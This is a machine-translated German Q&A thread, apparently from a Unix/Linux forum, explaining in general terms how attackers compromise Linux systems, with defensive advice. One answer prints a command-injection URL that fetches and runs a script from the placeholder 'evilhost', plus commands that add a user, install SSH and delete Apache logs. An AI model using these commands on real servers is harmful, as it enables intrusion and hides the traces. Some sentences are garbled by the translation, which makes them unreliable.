Wie genau "knacken" die Leute Unix / Linux-Systeme?

13

Nein, ich bin nicht auf der Suche, ein Cracker oder so etwas zu werden, aber ich versuche, den Prozess herauszufinden (mehr aus einer Programmierperspektive).

Ich gehe also davon aus, dass das Hauptziel eines Crackers darin besteht, Root-Zugriff zu erhalten, um die Software (oder das Skript) zu installieren, die er geschrieben hat, oder? oder vielleicht ein eigenes kernal-Modul installieren (das ist aus irgendeinem Grund abwegig) Wie genau macht eine Person das?

Ich weiß, dass Leute Skripte verwenden, um nach Exploits zu suchen ... aber ich sehe nicht, wie und ich sehe auch nicht genau, was sie mit ihnen machen, wenn sie sie gefunden haben? Prüfen sie Versionen auf bekannte Exploits ...... und finden sie dann eine .......

Ich weiß, das klingt alles sehr neu. aber ich versuche nur eine Vorstellung davon zu bekommen, wie es funktioniert, da ich weiß, dass Linux / Unix-Systeme sehr sicher sein sollen, aber ich versuche herauszufinden, wie jemand überhaupt vorgehen würde (den Prozess), um Root-Zugriff zu erhalten.

HedgeMage
quelle

Antworten:

14

Es gibt unzählige Gründe, die die Sicherheit eines Systems gefährden könnten. In weiten Zügen:

  • Nutzung der Systemressourcen (zB Spam senden, Datenverkehr weiterleiten)
  • Informationen über das System abrufen (z. B. Kundendaten von einer E-Commerce-Website abrufen).
  • Informationen im System ändern (z. B. eine Website verunstalten, falsche Informationen einfügen, Informationen entfernen)

Nur manchmal erfordern diese Dinge Root-Zugriff. Wenn Sie beispielsweise eine fehlerhafte Suchanfrage auf einer Site eingeben, bei der die Benutzereingaben nicht ordnungsgemäß bereinigt werden, werden möglicherweise Informationen aus der Site-Datenbank angezeigt, z. B. Benutzernamen / Kennwörter, E-Mail-Adressen usw.

Viele Computerkriminelle sind nur "Drehbuchkinder"; dh Leute, die die Systemsicherheit nicht wirklich verstehen und vielleicht nicht einmal Code, sondern Exploits ausführen, die von anderen geschrieben wurden. Diese sind normalerweise ziemlich leicht zu verteidigen, da sie nicht in der Lage sind, sich anzupassen. Sie können nur bekannte Sicherheitslücken ausnutzen. (Obwohl sie möglicherweise Botnets einsetzen - große Gruppen kompromittierter Computer -, die die Gefahr von DDoS-Angriffen bedeuten können.)

Für den erfahrenen Angreifer sieht der Prozess ungefähr so ​​aus:

  1. Finde heraus, was das Ziel ist und was es wert ist. Sicherheit - die Aufrechterhaltung oder Gefährdung - ist eine Risiko- / Ertragsrechnung. Je riskanter und kostspieliger etwas sein wird, desto verlockender muss die Belohnung sein, damit sich ein Angriff lohnt.

  2. Betrachten Sie alle beweglichen Teile , die Wirkung , was das Ziel ist - zum Beispiel, wenn Sie Spam versenden möchten, können Sie könnten den Mail - Server angreifen, aber es kann mehr Sinn nach einem anderen Netzwerk gerichteten Dienst gehen machen, da alle wirklich Ihr Notwendigkeit ist die Verwendung der Netzverbindung des Ziels. Wenn Sie Benutzerdaten benötigen, sollten Sie sich zunächst den Datenbankserver, die Webanwendung und den Webserver ansehen, die Zugriff darauf haben, das System, von dem das Backup erstellt wird usw.

    Diskontieren Sie niemals den menschlichen Faktor. Das Sichern eines Computersystems ist weitaus einfacher als das Sichern des menschlichen Verhaltens. Jemanden dazu zu bringen, Informationen preiszugeben, die er nicht sollte, oder Code auszuführen, den er nicht sollte, ist sowohl einfach als auch effektiv. Auf dem College habe ich mit einem Freund eine Wette gewonnen, bei der er in sein überaus sicheres Unternehmensnetzwerk eingebrochen ist, indem er ein aufschlussreiches Outfit angezogen und einen geilen Vizepräsidenten getroffen hat - die technische Expertise meines Freundes hat meine bei weitem übertroffen, aber nichts übertrifft die Leistung eines 17-Jährigen in einem kurzen Rock co-ed!

    Wenn du keine Brüste hast, kannst du ein sinnloses Spiel oder etwas anbieten, das Idioten zum Spaß herunterladen, ohne darüber nachzudenken, was es wirklich tun könnte.

  3. Schauen Sie sich jedes Teil an, das Sie identifiziert haben, und überlegen Sie, was es tun kann und wie das optimiert werden kann, um das zu tun, was Sie wollen. Vielleicht setzt der Helpdesk Passwörter für Benutzer häufig zurück, ohne den Anrufer richtig zu identifizieren, und klingt verwirrt Besorgen Sie sich das Passwort eines anderen. Möglicherweise überprüft die Web-App nicht, was in das Suchfeld gestellt wird, um sicherzustellen, dass es sich nicht um Code handelt, bevor sie es in eine Funktion einfügt, die sie ausführt. Sicherheitskompromisse beginnen in der Regel mit etwas, das absichtlich aufgedeckt wird und das sich so verhält, wie es nicht sein sollte.

HedgeMage
quelle
3
Nach der Lektüre bin ich immer noch gespannt, welche Informationen ein geiler Vizepräsident in lockeren Gesprächen liefern könnte, die Ihnen diese Wette einbringen würden.
Justin Cress
1
@justin: Ich sagte, ich wäre dort, um $ friend re: ein Schulprojekt zu sehen, aber er war nicht im Büro. Ich ließ mich von dem Vizepräsidenten einige triviale Dinge über das Computersystem zeigen, und er war zu abgelenkt, als dass er mich anstarrte, um zu bemerken, dass ich ihn beobachtete, wie er sein Passwort eingab. Er hatte legitimen Zugang zu dem Laufwerk, auf das ich zugreifen sollte, um die Wette zu gewinnen.
HedgeMage
1
Ich stimme voll und ganz zu, Social Engineering ist viel einfacher als Haufenüberläufe. Sie werden wirklich wie diese archive.cert.uni-stuttgart.de/isn/2006/01/msg00055.html
Rohan Monga
"Wenn Sie keine Brüste haben, überlegen Sie sich, ein sinnloses Spiel oder so etwas anzubieten" .. im Ernst? Sie haben beide in dieselbe Wirkungskategorie eingeordnet ?! :)
Roopesh Shenoy
2
"Erwägen Sie, ein sinnloses Spiel oder etwas anzubieten, das Idioten zum Spaß herunterladen ..." - Ahh, das ist also die Idee hinter Farmville und Evony.
Shadur
4

Der größte Faktor ist die Art des Zugriffs, den der Angreifer hat. Wenn sie physischen Zugang haben, sind Sie geschraubt. Wenn Sie sich nur mit dem Fernzugriff befassen, hängt es davon ab, was Sie ausgeführt haben. Gute Konfiguration ist alles. Auf einem Standard-Linux-Server würden wahrscheinlich ftp, ssh, http, https und mysql ausgeführt. SSH ist sicher, aber ich würde Root-Anmeldungen nicht zulassen, und ein gutes Passwort für jedes Konto ist ein Muss. FTP ist ein Hit oder Miss. Wenn Sie über VSFTP verfügen und Ihre Benutzer chrooten, ist dies sehr sicher. In einigen anderen Versionen sind Sicherheitslücken bekannt. HTTP wird wahrscheinlich Ihr anfälligster Bereich sein. Ihre größte Sorge ist hier alles, was Dateien auf dem System ausführt oder Dateien auf das System hochlädt. SQL-Injection ist SEHR schwierig, wenn Ihre Website in PHP5 erstellt wurde. Eine Gruppe von Sicherheitsstudenten und ich haben wochenlang SQL-Injektionen auf einer nicht bereinigten PHP5-Website ausprobiert und waren erfolglos. Verwenden Sie unter MySQL unbedingt einen Benutzer, der kein Root-Benutzer ist, und beschränken Sie sich darauf, sich nur von Ihrem Apache-Server aus anzumelden.

Es gibt ein paar Firefox-Plugins zum Testen von Website-Schwachstellen: Greifen Sie auf mich zu, xss mich und sql injizieren mich

Einige wichtige Dinge, die ich bei Wettbewerben immer tun würde, um die Sicherheit zu gewährleisten, wären:

  • netstat - offene Ports und Verbindungen prüfen,
  • w - wer ist wie lange eingeloggt,
  • Logs auf Logins prüfen,
  • Bash-Verlauf für ausgeführte Befehle,
  • ps - Befehle ausführen,
  • /etc/passwd für zusätzliche Benutzer
  • /etc/sudoers für Sudo-Zugriff.

Normalerweise möchte ein Angreifer, nachdem er Zugriff erhalten hat, root werden. Derzeit gibt es einige Sicherheitsanfälligkeiten, die zur Eskalation von Berechtigungen führen und es einem normalen Benutzer ermöglichen würden, root zu werden. Danach möchten sie es für den späteren Zugriff öffnen, indem sie Benutzer hinzufügen und Hintertüren öffnen.

Hier ist die Cyber ​​Defense-Website meiner Schule. Sie können sich gerne umsehen und Fragen stellen: https://thislink.doesntexist.org/

Murphy
quelle
2

Die Sicherheit eines Systems hängt von den Fähigkeiten des Administrators ab. Es ist also falsch zu sagen, dass Linux / Unix-Systeme sehr sicher sein sollen. :)

Nun zum Hacken ... Es gibt eine Art Tool namens " Vulnerability Scanner " wie Nessus , das nach Dingen sucht, die ausgenutzt werden können. In einem komplexen System können tausende Probleme auftreten, z. B. ein falsch konfigurierter Apache-Server, mit dem beliebige Dateien an beliebige Orte hochgeladen werden können. Diese können als Sprungbrett für weitere Exploits dienen, z. B. für den Zugriff auf eine Datenbank oder ein E-Mail-Konto, über das die Kennwörter mithilfe der Funktion "Kennwort vergessen" wiederhergestellt werden können.

Manchmal besteht ein Hack darin, Zugang zu erlangen und etwas Böses zu tun. Manchmal machen die Leute das zum Spaß (was übrigens albern ist).

UND, hier ist eine Geschichte von einem berühmten Hack, der vor kurzem passiert ist. Ich denke, es wird für jeden illustrativ sein, der sich mit Sicherheit befasst! So zitieren Sie eine Zusammenfassung der Exploits:

Eine Webanwendung mit SQL-Injection-Fehlern und unsicheren Passwörtern. Passwörter, die falsch gewählt wurden. Passwörter, die wiederverwendet wurden. Server, die eine kennwortbasierte Authentifizierung zuließen. Systeme, die nicht gepatcht wurden. Und eine erstaunliche Bereitschaft, Anmeldeinformationen per E-Mail zu übermitteln, selbst wenn die Person, die danach gefragt wurde, hätte feststellen müssen, dass etwas nicht stimmte.

phunehehe
quelle
1

Es gibt so viele Angriffsvektoren, dass sie nahezu unendlich sind. Eines der einfachsten Konzepte ist, ein Programm öffentlich zugänglich zu machen und zu sagen, dass es etwas anderes tut als es wirklich tut. Geben Sie den Benutzern sudoam Anfang eine freundliche Anleitung und sehen Sie zu, wie die Welt boomt. Dies ist bei Closed-Source-Programmen jeden Tag der Fall, da es für eine einzelne Person nicht möglich ist, die Funktionsweise im Voraus zu überprüfen, wie dies beispielsweise bei Sony-CDs der Fall ist .

Sie können auch versuchen, spezielle Zeichenfolgen an einen Remote-Host zu senden. Nehmen wir an, Sie haben einen Webserver, auf dem Software ausgeführt wird, und diese Software führt einen Teil der URL als Befehl aus, ohne zu entkommen oder auf andere Weise sicherzustellen, dass sie keinen Schaden anrichtet. Senden Sie etwas wie http://www.example.org/search?q=foo%3Bwget%20http%3A%2F%2Fevilhost%2Fscript.sh%3B%20chmod%20u%2Bx%20script.sh%3B%20.%2Fscript.sh. Dekodiert wird der Suchbegriff . Wenn dies ausgeführt wird, wird script.sh mit den gleichen Zugriffsrechten wie der Webserver-Benutzer ausgeführt, um auf dem Computer etwas zu tun. Manchmal lassen die Leute diese als Wurzel für "Bequemlichkeit" laufen, in diesem Fall als Synonym für Faulheit und / oder Ahnungslosigkeit. Selbst wenn es nicht als root ausgeführt wird, kann dieses Skript Tausende von Tests für andere Lücken in der installierten Software ausführen und einen anderen Befehl ausführen, wenn es eine findet. Dieser letzte Befehl könnte zum Beispiel seinfoo;wget http://evilhost/script.sh; chmod u+x script.sh; ./script.shuseradd blabla; apt-get install openssh; rm /var/log/apache.log, um SSH-Zugriff zu erhalten und Spuren des Einbruchs zu entfernen.

[Die Befehle waren offensichtlich vereinfacht und würden wahrscheinlich sowieso nicht funktionieren. YMMV]

l0b0
quelle